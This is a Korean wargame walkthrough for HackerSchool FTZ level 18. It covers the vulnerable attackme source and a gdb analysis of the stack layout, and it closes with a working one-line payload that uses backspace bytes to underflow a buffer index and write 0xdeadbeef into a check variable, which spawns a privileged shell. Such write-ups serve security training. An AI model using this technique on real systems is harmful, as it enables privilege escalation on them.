BOF/ ftz-level18

 

FTZ란 Free Training Zone의 약자로 hackerschool에서 배포하는 워게임입니다.
총 20문제로 구성되어 있으며 각 문제를 격파하여 다음 레벨의 패스워드를 얻는 형식입니다.
문제를 격파하고 다음 레벨의 bash를 획득하였다면 my-pass로 패스워드를 확인할 수 있습니다.

사용 linux 명령어
ls - 파일 내역 출력 cat - 파일 내용 확인
cp - 파일 또는 디렉터리 복사 명령
gdb - 디버깅 도구

send me email if you have any questions.


FTZ Level 18

ID : level18
PASSWD : why did you do it


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
  
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main() {
	char string[100];
	int check;
	int x = 0;
	int count = 0;
	fd_set fds;
	printf("Enter your command: ");
	fflush(stdout);
	while (1) {
		if (count >= 100)
			printf("what are you trying to do?\n");
		if (check == 0xdeadbeef)
			shellout();
		else {
			FD_ZERO(&fds);
			FD_SET(STDIN_FILENO, &fds);

			if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
			{
				if (FD_ISSET(fileno(stdin), &fds))
				{
					read(fileno(stdin), &x, 1);
					switch (x)
					{
					case '\r':
					case '\n':
						printf("\a");
						break;
					case 0x08:
						count--;
						printf("\b \b");
						break;
					default:
						string[count] = x;
						count++;
						break;
					}
				}
			}
		}
	}
}

void shellout(void)
{
	setreuid(3099, 3099);
	execl("/bin/sh", "sh", NULL);
}


level11부터는 attackme라는 파일이 존재하며 hint는 attackme의 소스가 제공된다.

소스분석
check를 deadbeef로 변조하면 쉘을 실행시켜주는 코드이다.
read(fileno(stdin), &x, 1); 이부분에서 x를 입력받아 switch문으로 이어진다.
x가 0x08이라면 count가 감소되고 default에서 증가한다.
count는 string의 index에 접근하기 위해 사용되며 string[count]에 x를 저장할 수 있다.

스택은 높은주소에서 낮은 주소로 자라기 때문에 check가 string보다 낮은 주소에 있으므로 일반적인 buffer over flow가 어렵다.
0x08을 계속해서 전달한다면 count가 감소되어 string[0]보다 앞의 메모리에 접근할 수 있고 이는 check변수까지 접근이 가능하다.
따라서 count값을 계속해서 감소시켜 check까지 접근하고 deadbeef값을 대입하면 쉘을 획득할 수 있다.

나머지 file descriptor부분은 크게 중요하진 않은 것 같다.

ftz에는 ASLR(메모리 보호기법)이 걸려있다.

ASLR은 프로그램을 실행할 때 마다 메모리 주소가 변경되는 메모리 보호기법


권한문제가 없도록 tmp디렉터리에 attackme를 복사하고 attackme의 메모리 구조를 파악하기 위해 gdb를 사용하여 intel방식으로 디스어셈블 한다.
check에 접근하기 위해서는 check와 string사이의 거리만큼 count를 감소시켜야 한다.
check와 string사이의 거리를 파악하기 위한 디스어셈블.

어셈블리 분석
그림1
deadbeef와 비교연산을 하고 있음을 알 수 있고 이는 check의 위치가 ebp-104임을 알 수 있다.
(소스코드에서 check가 deadbeef와 비교연산 하기 때문에)


그림2
ebp-252를 0x8과 비교하여 같다면 main+481로 jump하고 그렇지 않다면 main+499로 jump한다.
소스코드 상에서 x와 0x8을 비교하는 부분이 있고 아닌경우 defalut로 가기 때문에 main+499는 switch문에서 default로 jump함을 알 수 있다.
따라서 string의 위치는 ebp-100임을 알 수 있다.


그림3
check와 string사이의 거리가 dummy값 없이 4Byte임을 알았으니 4개의 0x08을 대입하여 string앞의 메모리에 접근, check를 deadbeef로 변조하는
페이로드를 작성하여 공격을 성공시킨다.

페이로드

(python -c “print ‘\x08’*4 + ‘\xef\xbe\xad\xde’”; cat) | ./attackme